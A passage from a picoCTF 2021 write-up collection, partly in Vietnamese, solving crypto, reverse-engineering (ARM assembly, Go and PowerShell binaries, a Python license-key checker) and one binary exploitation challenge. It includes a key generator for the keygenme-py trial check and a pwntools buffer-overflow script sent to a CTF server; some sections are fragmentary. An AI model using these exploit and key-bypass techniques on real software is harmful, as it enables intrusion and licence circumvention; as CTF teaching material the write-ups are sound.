li4 = ['ae', 'af', 'ag', 'ah', 'ai', 'aj', 'db', 'dc', 'dd', 'de', 'df', 'dg', 'dh', 'di', 'dj', 'dk']
def b16_decode(ct):
    de_ct = ''
    for i in range(0, len(ct), 2):
        k = ((ord(ct[i]) - LOWERCASE_OFFSET) << 4) + ord(ct[i+1]) - LOWERCASE_OFFSET
        de_ct += chr(k)
    return de_ct

# li = []
# # Đoạn code này để tạo ra 4 mảng trên, tương ứng với 4 cặp kí tự đầu tiên của encrypted flag mà đề cho, sao cho khi decode ra các từ trong keyChar
# for x1 in ALPHABET:
#     for x2 in ALPHABET:
#         #cou = 0 2 4 6
#         cou = 6
#         m = string[cou] + string[cou + 1]
#         key = x1 + x2
#
#         flag = 0
#         de = ''
#         for i in range(2):
#             de += shift_decode(m[i], key[i])
#
#         o = b16_decode(de)
#         if o in keyChar: li.append(key)
#
# print(li)

Còn đây là đoạn bruteforce với độ dài của key là 9

def bruteforce():
    cou = 0
    for x1 in li1:
        for x2 in li2:
            for x3 in li3:
                for x4 in li4:
                    for x5 in ALPHABET:
                        potentialKey = x1 + x2 + x3 + x4 + x5
                        dec = ''
                        for i, c in enumerate(string):
                            dec += shift_decode(c, potentialKey[i % len(potentialKey)])
                        potentialMess = b16_decode(dec)
                        flag = 0
                        for e in potentialMess:
                            if e not in keyChar:
                                flag = 1
                        print(cou, 'Attempting:', potentialMess)
                        cou += 1
                        if (flag == 0):
                            print('FOUND: ', potentialMess)
                            return;
bruteforce()


RE>

phuonghoang

-Easy as GDB

Description: The flag has got to be checked somewhere... You can find out the source of challenge and script here( source, script)

The name of function, variable in my writeup will called as the way they displays on IDA's disassembly window.

Proceed to solve

1 - Your input will XORed with multiple keys which generated from the loop of function sub_82b() function
Input will xored with multiple xor-key before continuing

IDA's Decompiler( pseudo-code - F5) sometimes makes some mistakes. Be careful!( i.e it happened in this challenge)

2 - I debugged this program at sub_7C2(array, size, option) to recognize that this function will shuffle an array with option( 1 or -1). Furthermore, two options are inverse. If I take a result array generated with option -1 as the first argument of sub_7C2(), and select the option 1, the function will return the original array:

Appendix

There are some mistakes of IDA's decompiler I discovered while solving following below: 1.

-Rolling My Own

Challenge's Description: I don't trust password checkers made by other people, so I wrote my own. It doesn't even need to store the password! If you can crack it I'll give you a flag. You can find out the challenge's source and solving script here( source, script)

Firstly, I think two hints of this challenge is very important. Firstly, you should deeply the paper related directly this challenge. Besides, the second hint "Here's the start of the password: D1v1" is also worthy.

The main idea of paper

his paper suggested an anti-disassembly technique by using cryptographic hash. Particularly, a key and salt were chosen to generate the hash digest which contains some bytes of machine code( also called "running code"). In program there are a function which pick some bytes at arbitrary position in those hash digests ( these positions will be decided by programmer before) and create running code. The disassembly of IDA or well-known disassembler will failed in disassembling those bytes because the byte arrays which they received are hash digests, no machine code.

The key steps to right password

The idea of challenge

Storing salts and positions of running code on stack

Mochi Nishi

-ARMssembly 1

Đây là đoạn chương trình:

.arch armv8-a
    .file   "chall_1.c"
    .text
    .align  2
    .global func
    .type   func, %function
func:
    sub sp, sp, #32
    str w0, [sp, 12]
    mov w0, 85
    str w0, [sp, 16] //85
    mov w0, 6
    str w0, [sp, 20] //6
    mov w0, 3
    str w0, [sp, 24] //3
    ldr w0, [sp, 20]
    ldr w1, [sp, 16]
    lsl w0, w1, w0   //left shift: w0 = w1 << w0; w0 = 85 << 6
    str w0, [sp, 28] //85 << 6
    ldr w1, [sp, 28]
    ldr w0, [sp, 24] //3
    sdiv    w0, w1, w0 //div: w0 = w1 / d0; w0 = (85 << 6) / 3
    str w0, [sp, 28] //(85 << 6) / 3
    ldr w1, [sp, 28]
    ldr w0, [sp, 12] //argument
    sub w0, w1, w0   //subtract: w0 = w1 - w0; w0 = (85 << 6) / 3 - argument
    str w0, [sp, 28]
    ldr w0, [sp, 28]
    add sp, sp, 32
    ret
    .size   func, .-func
    .section    .rodata
    .align  3
.LC0:
    .string "You win!"
    .align  3
.LC1:
    .string "You Lose :("
    .text
    .align  2
    .global main
    .type   main, %function
main:
    stp x29, x30, [sp, -48]!
    add x29, sp, 0
    str w0, [x29, 28]
    str x1, [x29, 16]
    ldr x0, [x29, 16]
    add x0, x0, 8
    ldr x0, [x0]
    bl  atoi
    str w0, [x29, 44]
    ldr w0, [x29, 44]
    bl  func
    cmp w0, 0   //Conclusion: argument = (85 << 6) / 3
    bne .L4
    adrp    x0, .LC0
    add x0, x0, :lo12:.LC0
    bl  puts
    b   .L6
.L4:
    adrp    x0, .LC1
    add x0, x0, :lo12:.LC1
    bl  puts
.L6:
    nop
    ldp x29, x30, [sp], 48
    ret
    .size   main, .-main
    .ident  "GCC: (Ubuntu/Linaro 7.5.0-3ubuntu1~18.04) 7.5.0"
    .section    .note.GNU-stack,"",@progbits

Hint của đề bài là shifts, ta có thể hiểu đây những phép thao tác dịch bit, cách làm của bài đã được dịch trong đoạn source code trên, ta có thể suy ra được kết quả bài toán bằng với kết quả của
Flag: picoCTF{00000715}

-ARMssembly 2

Đây là đoạn chương trình:

    .arch armv8-a
    .file   "chall_2.c"
    .text
    .align  2
    .global func1
    .type   func1, %function
func1:
    sub sp, sp, #32
    str w0, [sp, 12] //3848786505
    str wzr, [sp, 24] //0
    str wzr, [sp, 28] //0
    b   .L2
.L3:
    ldr w0, [sp, 24]
    add w0, w0, 3    //w0 += 3
    str w0, [sp, 24] 
    ldr w0, [sp, 28]
    add w0, w0, 1        //w0 += 1
    str w0, [sp, 28]
.L2:
    ldr w1, [sp, 28]
    ldr w0, [sp, 12]
    cmp w1, w0
    bcc .L3
    ldr w0, [sp, 24]
    add sp, sp, 32
    ret
    .size   func1, .-func1
    .section    .rodata
    .align  3
.LC0:
    .string "Result: %ld\n"
    .text
    .align  2
    .global main
    .type   main, %function
main:
    stp x29, x30, [sp, -48]!
    add x29, sp, 0
    str w0, [x29, 28]
    str x1, [x29, 16]
    ldr x0, [x29, 16]
    add x0, x0, 8
    ldr x0, [x0]
    bl  atoi
    bl  func1
    str w0, [x29, 44]
    adrp    x0, .LC0
    add x0, x0, :lo12:.LC0
    ldr w1, [x29, 44]
    bl  printf
    nop
    ldp x29, x30, [sp], 48
    ret
    .size   main, .-main
    .ident  "GCC: (Ubuntu/Linaro 7.5.0-3ubuntu1~18.04) 7.5.0"
    .section    .note.GNU-stack,"",@progbits

Nhìn sơ qua thì đây là 1 vòng lặp, ta viết lại đoạn chương trình như sau:

o = 3848786505
e = 0
for i in range(o + 1):
    e += 3
print(hex(e))

Nhưng vì vòng for quá lớn, ta không chạy được vòng for này nên ta có thể cải tiến bằng cách khác:

o = 3848786505
e = 0
print(hex(o * 3))

Kết quả là 2b03776db, nhưng vì đáp án đề yêu cầu là số 32 bit nên ta phải bỏ đi số 2 đầu tiên Flag: picoCTF{b03776db}

-ARMssembly 3

Đoạn chương trình của đề:

.arch armv8-a
    .file   "chall_3.c"
    .text
    .align  2
    .global func1
    .type   func1, %function
func1:
    stp x29, x30, [sp, -48]!
    add x29, sp, 0
    str w0, [x29, 28]   //arg
    str wzr, [x29, 44]  //res = 0
    b   .L2
.L4:
    ldr w0, [x29, 28]
    and w0, w0, 1       
    cmp w0, 0           
    beq .L3             //if arg is even then jump to .L3
    ldr w0, [x29, 44]
    bl  func2           //func2 usage: res += 3
    str w0, [x29, 44]   
.L3:
    ldr w0, [x29, 28]
    lsr w0, w0, 1       //arg /= 2
    str w0, [x29, 28]
.L2:
    ldr w0, [x29, 28]   //arg
    cmp w0, 0
    bne .L4
    ldr w0, [x29, 44]
    ldp x29, x30, [sp], 48
    ret
    .size   func1, .-func1
    .align  2
    .global func2
    .type   func2, %function
func2:
    sub sp, sp, #16
    str w0, [sp, 12]
    ldr w0, [sp, 12]
    add w0, w0, 3
    add sp, sp, 16
    ret
    .size   func2, .-func2
    .section    .rodata
    .align  3
.LC0:
    .string "Result: %ld\n"
    .text
    .align  2
    .global main
    .type   main, %function
main:
    stp x29, x30, [sp, -48]!
    add x29, sp, 0
    str w0, [x29, 28]
    str x1, [x29, 16]
    ldr x0, [x29, 16]
    add x0, x0, 8
    ldr x0, [x0]    //arg
    bl  atoi
    bl  func1
    str w0, [x29, 44]
    adrp    x0, .LC0
    add x0, x0, :lo12:.LC0
    ldr w1, [x29, 44]
    bl  printf
    nop
    ldp x29, x30, [sp], 48
    ret
    .size   main, .-main
    .ident  "GCC: (Ubuntu/Linaro 7.5.0-3ubuntu1~18.04) 7.5.0"
    .section    .note.GNU-stack,"",@progbits

Đoạn chương trình cơ bản xem coi có bao nhiêu bit 1 trong cách biểu diễn nhị phân của arg (đề cho), sau đó lấy số lượng bit 1 đó nhân 3 lên. Đoạn script dưới đây mô tả lại quá trình thực hiện cảu đoạn chương trình trên:

a = 3350728462 #đề cho
res = 0
while a != 0:
    if a % 2 == 1:
        res += 3
    a = (a >> 1)
print(hex(res))

Flag: picoCTF{00000030}

-ARMssembly 4

Đoạn chương trình của đề:

.arch armv8-a
    .file   "chall_4.c"
    .text
    .align  2
    .global func1
    .type   func1, %function
func1:
    stp x29, x30, [sp, -32]!
    add x29, sp, 0
    str w0, [x29, 28]
    ldr w0, [x29, 28]   
    cmp w0, 100         
    bls .L2
    ldr w0, [x29, 28]
    add w0, w0, 100
    bl  func2
    b   .L3
.L2:
    ldr w0, [x29, 28]
    bl  func3
.L3:
    ldp x29, x30, [sp], 32
    ret
    .size   func1, .-func1
    .align  2
    .global func2
    .type   func2, %function
func2:
    stp x29, x30, [sp, -32]!
    add x29, sp, 0
    str w0, [x29, 28]
    ldr w0, [x29, 28]
    cmp w0, 499
    bhi .L5
    ldr w0, [x29, 28]
    sub w0, w0, #86
    bl  func4
    b   .L6
.L5:
    ldr w0, [x29, 28]
    add w0, w0, 13
    bl  func5
.L6:
    ldp x29, x30, [sp], 32
    ret
    .size   func2, .-func2
    .align  2
    .global func3
    .type   func3, %function
func3:
    stp x29, x30, [sp, -32]!
    add x29, sp, 0
    str w0, [x29, 28]
    ldr w0, [x29, 28]
    bl  func7
    ldp x29, x30, [sp], 32
    ret
    .size   func3, .-func3
    .align  2
    .global func4
    .type   func4, %function
func4:
    stp x29, x30, [sp, -48]!
    add x29, sp, 0
    str w0, [x29, 28]
    mov w0, 17
    str w0, [x29, 44]
    ldr w0, [x29, 44]
    bl  func1
    str w0, [x29, 44]
    ldr w0, [x29, 28]
    ldp x29, x30, [sp], 48
    ret
    .size   func4, .-func4
    .align  2
    .global func5
    .type   func5, %function
func5:
    stp x29, x30, [sp, -32]!
    add x29, sp, 0
    str w0, [x29, 28]
    ldr w0, [x29, 28]
    bl  func8
    str w0, [x29, 28]
    ldr w0, [x29, 28]
    ldp x29, x30, [sp], 32
    ret
    .size   func5, .-func5
    .align  2
    .global func6
    .type   func6, %function
func6:
    sub sp, sp, #32
    str w0, [sp, 12]
    mov w0, 314
    str w0, [sp, 24]
    mov w0, 1932
    str w0, [sp, 28]
    str wzr, [sp, 20]
    str wzr, [sp, 20]
    b   .L14
.L15:
    ldr w1, [sp, 28]
    mov w0, 800
    mul w0, w1, w0
    ldr w1, [sp, 24]
    udiv    w2, w0, w1
    ldr w1, [sp, 24]
    mul w1, w2, w1
    sub w0, w0, w1
    str w0, [sp, 12]
    ldr w0, [sp, 20]
    add w0, w0, 1
    str w0, [sp, 20]
.L14:
    ldr w0, [sp, 20]
    cmp w0, 899
    bls .L15
    ldr w0, [sp, 12]
    add sp, sp, 32
    ret
    .size   func6, .-func6
    .align  2
    .global func7
    .type   func7, %function
func7:
    sub sp, sp, #16
    str w0, [sp, 12]
    ldr w0, [sp, 12]
    cmp w0, 100
    bls .L18
    ldr w0, [sp, 12]
    b   .L19
.L18:
    mov w0, 7
.L19:
    add sp, sp, 16
    ret
    .size   func7, .-func7
    .align  2
    .global func8
    .type   func8, %function
func8:
    sub sp, sp, #16
    str w0, [sp, 12]
    ldr w0, [sp, 12]
    add w0, w0, 2
    add sp, sp, 16
    ret
    .size   func8, .-func8
    .section    .rodata
    .align  3
.LC0:
    .string "Result: %ld\n"
    .text
    .align  2
    .global main
    .type   main, %function
main:
    stp x29, x30, [sp, -48]!
    add x29, sp, 0
    str w0, [x29, 28]
    str x1, [x29, 16]
    ldr x0, [x29, 16]
    add x0, x0, 8
    ldr x0, [x0]
    bl  atoi
    str w0, [x29, 44]   //3964545182
    ldr w0, [x29, 44]
    bl  func1
    mov w1, w0
    adrp    x0, .LC0
    add x0, x0, :lo12:.LC0
    bl  printf
    nop
    ldp x29, x30, [sp], 48
    ret
    .size   main, .-main
    .ident  "GCC: (Ubuntu/Linaro 7.5.0-3ubuntu1~18.04) 7.5.0"
    .section    .note.GNU-stack,"",@progbits

Mặc dù nhìn code khá dài, nhưng thực ra cũng không khó, việc của chúng ta lúc này là viết ra một đoạn script mô phỏng lại chương trình đang chạy và in ra kết quả. Tuy nhiên có lưu ý ở đây là func6 nếu để ý kĩ thì sẽ không được sử dụng, cho nên script của mình không viết func6 vào.

a = 3964545182
def func1(a):
    if a <= 100:
        a = func3(a)
    else:
        a += 100
        a = func2(a)
    return a
def func2(a):
    if a > 499:
        a += 13
        a = func5(a)
    else:
        a -= 86
        a = func4(a)
    return a
def func3(a):
    a = func7(a)
def func4(a):
    k = func1(17)
    return a
def func5(a):
    a = func8(a)
    return a
def func7(a):
    if (a <= 100):
        a = 7
    return a
def func8(a):
    a += 2
    return a
a = func1(a)
print(hex(a))

Flag: picoCTF{ec4e2911}

-gogo

Đề bài: Hmmm this is a weird file... enter_password. There is a instance of the service running at mercury.picoctf.net:35862.

Cách làm:

$ file enter_password
enter_password: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, Go BuildID=dSGr2TxewgLiHXv2h4V0/X91zd5C2lAkGTLFzXoln/iepyNIwQPue4FGJD5lPl/qJbWXlfMi7bgFI6RKmFg, with debug_info, not stripped

Đây là một chương trình được viết bằng GoLang, và bi đát hơn là file đã bị statically linked =((. Khi chạy file thì file đòi hỏi nhập vào một password: chạy thử file enter_password Sau đó ta sẽ xài Decompiler của ghidra, kết hợp Dynamic Analysis từ IDA: Code được decompile của ghidra Nhìn sơ qua thì ta có thể hiểu rằng mảng local_40 được chia ra làm 2 phần: keyresult. Vậy để có thể đưa ra password đúng, ta chỉ việc lấy key xor với result

f = open('../abc.inp', 'r')
a = [i[22:25].strip() for i in f.readlines()]
intLi = []
key = ''
for i in a:
    intNum = 0
    if i.find('h') != -1:
        intNum = int(i[:-1], 16)
    else: intNum = int(i, 16)
    intLi.append(intNum)
for i in range(32):
    k = chr(intLi[i] ^ intLi[i + 32])
    print(k, end = "")
#result = reverseengineericanbarelyforward

Ta enter password lên server thử:

Nhập password lên server

Bên server đòi unhashed key, ta nhận ra rằng mảng local_40 hồi nãy được chia ra làm 2 phần, trong đó có phần key, ta lấy phần key đó dùng tool md5 decrypt trên mạng ta được từ goldfish: MD5 decrypt Sau đó nhập từ goldfish vào và ta được flag:

-Powershelly

Đề bài: It's not a bad idea to learn to read Powershell. We give you the output, but do you think you can find the input? rev_PS.ps1 output.txt

Nhìn sơ qua 2 file, cho ta hiểu rằng file rev_PS.ps1 là một file powershell, đưa vào input.txt sẽ cho ra một file output.txt tương ứng, nhiệm vụ chúng ta phải dịch ngược file powershell này cùng với file output.txt để đưa ra file input.txt hợp lí. Các điều kiện của file input.txt

Nhìn sơ qua, ta hiểu rằng file input.txt là một file gồm 5 dòng, mỗi dòng gồm 9245 kí tự, trong đó chỉ chứa 3 kí tự là 0, 1 và dấu cách, ngoài ra mỗi dòng sẽ là nhiều đoạn mã nhị phân có độ dài là 6. Đặc biệt, chương trình tạo ra mảng blocks[] nhằm tạo ra các mã nhị phân là chuỗi được nối từ 6 mã nhị phân của mỗi cột. Phần xử lí chính của chương trình

Nhìn sơ qua, ta biết rằng file sẽ lấy các mã nhị phân trong mảng block[], làm một vài phép biến đổi để tạo ra số fun, từ đó ta ra được result và ghi vào file. Với những thông tin biết được, ta sẽ viết một đoạn script để dịch ngược lại như sau:

f = open("output.txt", 'r')    #mở file output.txt, đọc dữ liệu vào
intLi = [int(i.strip()) for i in f.readlines()]
seeds = []
random = []
for i in range(1, 265):
    seeds.append((i * 127) % 500)
for i in range(1, 265):
    random.append((((i * 327) % 681) + 344) % 313)
f = []
for i in range(5):
    f.append([])
def DeScramble(block, seed):
    res = ['0' for oo in range(30)]
    for i in range(30):
        pos = (i * seed) % 30
        while block[pos] == '10':
            pos = (pos + 1) % 30
        if block[pos] == '11':
            res[i] = '1'
        block[pos] = '10'
    a = ''.join(res)
    return a
for i in range(264):
    if i == 0:
        fun = intLi[i] ^ random[i]
    else:
        fun = intLi[i] ^ intLi[i-1] ^ random[i]
    binFun = bin(fun)[2:]
    li = [binFun[j] + binFun[j+1] for j in range(0, 60, 2)]
    res = DeScramble(li, seeds[i])
    for i in range(5):
        f[i].append(res[i*6:i*6+6])
#Đoạn chương trình tiếp theo được dùng để lấy flag
for i in range(5):
    o = f[i][0]
    ans = ''
    for j in f[i]:
        if j == o:
            ans += '0'
        else:
            ans += '1'
    print(bytes.fromhex(hex(int(ans, 2))[2:]))

Sau khi ra được file input.txt, đó sẽ là một file chứa đầy mã nhị phân, vậy giờ làm gì tiếp theo? Nếu chỉ quan sát trên 1 dòng, ta thấy rằng mã nhị phân chỉ chứa 2 giá trị và kèo dài cho tới hết mảng đó. Với nghi ngờ này, mình đã giả sử 1 giá trị của mã nhị phân là 1, giá trị của mã nhị phân còn lại là 0, sau đó đổi từ mã bin ta nhận được ra text. Kết quả như sau:

b'picoCTF{2018highw@y_2_pow3r$hel!}'
b'picoCTF{2018highw@y_2_pow3r"hel!}'
b'picoCTF{2018highw@y_2_pow3r$hel!}'
b'picoCTF{2018highw@y_2_pow3r$hel!}'
b'picoCTF{2018highw@y_2_pow3r$hel!}'

-Hurry up! Wait!

Quăng file này vào IDA Trong hàm main(), nó gọi một lệnh sub(), lệnh này gọi 1 đống lệnh khác Check hex thì từng hàm sẽ xuất ra một giá trị của flag

-Let's get dynamic

Đầu tiên, biên dịch file này ra Executable

as -o a.o chall.s
gcc -static -o bbc a.o

Mở nó bằng IDA và giải bằng IDAPython

t = ida_bytes.get_bytes(0x200, 49)
cipher = [i for i in t]
t = bytes.fromhex("0x3148F6E1952EA1FDF185A0A444D075F5CE8D535EAE906117F619A7901244A3EE8755FFF4606FEB2A236FEFC7E21F8A1428"[2:])[::-1]
key = [i for i in t]
def decrypt(c, k):
    out = ""
    for i in range(49):
        out += chr(c[i] ^ k[i] ^ i ^ 0x13)
    return out
print(decrypt(cipher, key))

-keygenme-py

Đây là 1 challenge dạng menu. Tại mục (c) yêu cầu mã kích hoạt bản full của chương trình (cũng chính là flag)

===============================================
Welcome to the Arcane Calculator, SCHOFIELD!
This is the trial version of Arcane Calculator.
The full version may be purchased in person near
the galactic center of the Milky Way galaxy. 
Available while supplies last!
=====================================================
___Arcane Calculator___
Menu:
(a) Estimate Astral Projection Mana Burn
(b) [LOCKED] Estimate Astral Slingshot Approach Vector
(c) Enter License Key
(d) Exit Arcane Calculator
What would you like to do, SCHOFIELD (a/b/c/d)? 

Source code

Key gồm 3 phần:

key_part_static1_trial = "picoCTF{1n_7h3_|<3y_of_"
key_part_dynamic1_trial = "xxxxxxxx"
key_part_static2_trial = "}"
key_full_template_trial = key_part_static1_trial + key_part_dynamic1_trial + key_part_static2_trial

Ta chỉ cần chú ý đến hàm check_key để tìm ra key_part_dynamic1_trial

def check_key(key, username_trial):
    global key_full_template_trial
    if len(key) != len(key_full_template_trial):
        return False
    else:
        # Check static base key part --v
        i = 0
        for c in key_part_static1_trial:
            if key[i] != c:
                return False
            i += 1
        # TODO : test performance on toolbox container
        # Check dynamic part --v
        if key[i] != hashlib.sha256(username_trial).hexdigest()[4]: 
            return False
        else:
            i += 1
        if key[i] != hashlib.sha256(username_trial).hexdigest()[5]:
            return False
        else:
            i += 1
        if key[i] != hashlib.sha256(username_trial).hexdigest()[3]:
            return False
        else:
            i += 1
        if key[i] != hashlib.sha256(username_trial).hexdigest()[6]:
            return False
        else:
            i += 1
        if key[i] != hashlib.sha256(username_trial).hexdigest()[2]:
            return False
        else:
            i += 1
        if key[i] != hashlib.sha256(username_trial).hexdigest()[7]:
            return False
        else:
            i += 1
        if key[i] != hashlib.sha256(username_trial).hexdigest()[1]:
            return False
        else:
            i += 1
        if key[i] != hashlib.sha256(username_trial).hexdigest()[8]:
            return False
        return True

với username_trial:

username_trial = "SCHOFIELD"

Exploit

import hashlib
from cryptography.fernet import Fernet
import base64
username_trial = "SCHOFIELD".encode()
key_part_static1_trial = "picoCTF{1n_7h3_|<3y_of_"
key_part_static2_trial = "}"
key_part_dynamic1_trial = hashlib.sha256(username_trial).hexdigest()[4]
key_part_dynamic1_trial += hashlib.sha256(username_trial).hexdigest()[5]
key_part_dynamic1_trial += hashlib.sha256(username_trial).hexdigest()[3]
key_part_dynamic1_trial += hashlib.sha256(username_trial).hexdigest()[6]
key_part_dynamic1_trial += hashlib.sha256(username_trial).hexdigest()[2]
key_part_dynamic1_trial += hashlib.sha256(username_trial).hexdigest()[7]
key_part_dynamic1_trial += hashlib.sha256(username_trial).hexdigest()[1]
key_part_dynamic1_trial += hashlib.sha256(username_trial).hexdigest()[8]
key_full_template_trial = key_part_static1_trial + key_part_dynamic1_trial + key_part_static2_trial
print(key_full_template_trial)

Output

revirven@ubuntu:~/Desktop/GitHub/CTF-Writeups/PicoCTF-2021/Reverse-Engineering/keygenme-py$ python3 exploit.py
picoCTF{1n_7h3_|<3y_of_e584b363}

Bonus

Khi nhập key vào, chương trình sẽ tạo 1 file keygenme.py là bản full của chương trình và mục (b) sẽ được mở khoá

===============================================
Welcome to the Arcane Calculator, SCHOFIELD!
This is the trial version of Arcane Calculator.
The full version may be purchased in person near
the galactic center of the Milky Way galaxy. 
Available while supplies last!
=====================================================
___Arcane Calculator___
Menu:
(a) Estimate Astral Projection Mana Burn
(b) [LOCKED] Estimate Astral Slingshot Approach Vector
(c) Enter License Key
(d) Exit Arcane Calculator
What would you like to do, SCHOFIELD (a/b/c/d)? c
Enter your license key: picoCTF{1n_7h3_|<3y_of_e584b363}
Full version written to 'keygenme.py'.
Exiting trial version...
===================================================
Welcome to the Arcane Calculator, tron!
===================================================
___Arcane Calculator___
Menu:
(a) Estimate Astral Projection Mana Burn
(b) Estimate Astral Slingshot Approach Vector
(c) Exit Arcane Calculator
What would you like to do, tron (a/b/c)?

Binary Exploitation - PWN>

revirven

-Binary Gauntlet 0

Kiểm tra file

file

gauntlet: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a5c4ce8cddd5ece25b706af8d250134c3f70467c, not stripped

checksec

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x400000)
RWX:      Has RWX segments

Decompile & Disassemble

Decompile main

undefined8 main(void)
{
  char local_88 [108];
  __gid_t local_1c;
  FILE *local_18;
  char *local_10;
  local_10 = (char *)malloc(1000);
  local_18 = fopen("flag.txt","r");
  if (local_18 == (FILE *)0x0) {
    puts(
        "Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are runningthis on the shell server."
        );
    exit(0);
  }
  fgets(flag,0x40,local_18);
  signal(0xb,sigsegv_handler);
  local_1c = getegid();
  setresgid(local_1c,local_1c,local_1c);
  fgets(local_10,1000,stdin);
  local_10[999] = '\0';
  printf(local_10);
  fflush(stdout);
  fgets(local_10,1000,stdin);
  local_10[999] = '\0';
  strcpy(local_88,local_10);
  return 0;
}

Decompile sigsegv_handler

void sigsegv_handler(void)
{
  fprintf(stderr,"%s\n",flag);
  fflush(stderr);               
  exit(1);
}

Hàm sigsegv_handler sẽ in ra flag. Khi hàm signal được gọi, nó sẽ thực thi sigsegv_handler. Vậy chỉ cần làm cho chương trình báo lỗi, ta sẽ có được flag.

Chương trình nhận vào 1 input rồi in input đó ra màn hình, sau đó nhận input thứ 2 rồi gọi hàm strcpy. Có 2 lỗi ở hàm main:

  1. printf(local_10) -> Lỗi chuỗi định dạng (Format String)
  2. strcpy(local_88, local_10) -> strcpy không kiểm tra số lượng kí tự ở dest -> Tràn bộ đệm tại dest nếu không được cấp phát đủ vùng nhớ để chứa chuỗi src (Buffer Overflow)

Vậy bài này có 2 hướng khai thác, nhưng vì người viết chương trình đã tốt bụng tắt hết các cơ chế bảo vệ, chúng ta sẽ dùng cách gây tràn vùng nhớ biến local_88 vì nó được đặt trong stack, dễ dàng ghi đè return address và gây lỗi.

Disassemble main

0x000000000040090d <+0>:  push   rbp
0x000000000040090e <+1>:  mov    rbp,rsp
0x0000000000400911 <+4>:  sub    rsp,0x90
0x0000000000400918 <+11>: mov    DWORD PTR [rbp-0x84],edi
0x000000000040091e <+17>: mov    QWORD PTR [rbp-0x90],rsi
0x0000000000400925 <+24>: mov    edi,0x3e8
0x000000000040092a <+29>: call   0x400790 <malloc@plt>
0x000000000040092f <+34>: mov    QWORD PTR [rbp-0x8],rax
0x0000000000400933 <+38>: lea    rsi,[rip+0x192]        # 0x400acc
0x000000000040093a <+45>: lea    rdi,[rip+0x18d]        # 0x400ace
0x0000000000400941 <+52>: call   0x4007c0 <fopen@plt>
0x0000000000400946 <+57>: mov    QWORD PTR [rbp-0x10],rax
0x000000000040094a <+61>: cmp    QWORD PTR [rbp-0x10],0x0
0x000000000040094f <+66>: jne    0x400967 <main+90>
0x0000000000400951 <+68>: lea    rdi,[rip+0x180]        # 0x400ad8
0x0000000000400958 <+75>: call   0x400730 <puts@plt>
0x000000000040095d <+80>: mov    edi,0x0
0x0000000000400962 <+85>: call   0x4007d0 <exit@plt>
0x0000000000400967 <+90>: mov    rax,QWORD PTR [rbp-0x10]
0x000000000040096b <+94>: mov    rdx,rax
0x000000000040096e <+97>: mov    esi,0x40
0x0000000000400973 <+102>:    lea    rdi,[rip+0x200766]        # 0x6010e0 <flag>
0x000000000040097a <+109>:    call   0x400760 <fgets@plt>
0x000000000040097f <+114>:    lea    rsi,[rip+0xffffffffffffff41]        # 0x4008c7 <sigsegv_handler>
0x0000000000400986 <+121>:    mov    edi,0xb
0x000000000040098b <+126>:    call   0x400770 <signal@plt>
0x0000000000400990 <+131>:    mov    eax,0x0
0x0000000000400995 <+136>:    call   0x4007b0 <getegid@plt>
0x000000000040099a <+141>:    mov    DWORD PTR [rbp-0x14],eax
0x000000000040099d <+144>:    mov    edx,DWORD PTR [rbp-0x14]
0x00000000004009a0 <+147>:    mov    ecx,DWORD PTR [rbp-0x14]
0x00000000004009a3 <+150>:    mov    eax,DWORD PTR [rbp-0x14]
0x00000000004009a6 <+153>:    mov    esi,ecx
0x00000000004009a8 <+155>:    mov    edi,eax
0x00000000004009aa <+157>:    mov    eax,0x0
0x00000000004009af <+162>:    call   0x400740 <setresgid@plt>
0x00000000004009b4 <+167>:    mov    rdx,QWORD PTR [rip+0x2006f5]        # 0x6010b0 <stdin@@GLIBC_2.2.5>
0x00000000004009bb <+174>:    mov    rax,QWORD PTR [rbp-0x8]
0x00000000004009bf <+178>:    mov    esi,0x3e8
0x00000000004009c4 <+183>:    mov    rdi,rax
0x00000000004009c7 <+186>:    call   0x400760 <fgets@plt>
0x00000000004009cc <+191>:    mov    rax,QWORD PTR [rbp-0x8]
0x00000000004009d0 <+195>:    add    rax,0x3e7
0x00000000004009d6 <+201>:    mov    BYTE PTR [rax],0x0
0x00000000004009d9 <+204>:    mov    rax,QWORD PTR [rbp-0x8]
0x00000000004009dd <+208>:    mov    rdi,rax
0x00000000004009e0 <+211>:    mov    eax,0x0
0x00000000004009e5 <+216>:    call   0x400750 <printf@plt>
0x00000000004009ea <+221>:    mov    rax,QWORD PTR [rip+0x2006af]        # 0x6010a0 <stdout@@GLIBC_2.2.5>
0x00000000004009f1 <+228>:    mov    rdi,rax
0x00000000004009f4 <+231>:    call   0x4007a0 <fflush@plt>
0x00000000004009f9 <+236>:    mov    rdx,QWORD PTR [rip+0x2006b0]        # 0x6010b0 <stdin@@GLIBC_2.2.5>
0x0000000000400a00 <+243>:    mov    rax,QWORD PTR [rbp-0x8]
0x0000000000400a04 <+247>:    mov    esi,0x3e8
0x0000000000400a09 <+252>:    mov    rdi,rax
0x0000000000400a0c <+255>:    call   0x400760 <fgets@plt>
0x0000000000400a11 <+260>:    mov    rax,QWORD PTR [rbp-0x8]
0x0000000000400a15 <+264>:    add    rax,0x3e7
0x0000000000400a1b <+270>:    mov    BYTE PTR [rax],0x0
0x0000000000400a1e <+273>:    mov    rdx,QWORD PTR [rbp-0x8]
0x0000000000400a22 <+277>:    lea    rax,[rbp-0x80]
0x0000000000400a26 <+281>:    mov    rsi,rdx
0x0000000000400a29 <+284>:    mov    rdi,rax
0x0000000000400a2c <+287>:    call   0x400720 <strcpy@plt>
0x0000000000400a31 <+292>:    mov    eax,0x0
0x0000000000400a36 <+297>:    leave  
0x0000000000400a37 <+298>:    ret    

Gọi hàm strcpy

0x0000000000400a1e <+273>:    mov    rdx,QWORD PTR [rbp-0x8]
0x0000000000400a22 <+277>:    lea    rax,[rbp-0x80]
0x0000000000400a26 <+281>:    mov    rsi,rdx
0x0000000000400a29 <+284>:    mov    rdi,rax
0x0000000000400a2c <+287>:    call   0x400720 <strcpy@plt>

Biến local_88 nằm ở [rbp - 0x80]. Chúng ta cần 0x90 bytes để ghi đè return address và gây sigsegv

Exploit

from pwn import *
context.binary = ELF("./gauntlet")
run = remote("mercury.picoctf.net", 12294)
run.sendline("Pwned")
payload = 'A' * 0x90
run.sendline(payload)
run.interactive()

Output

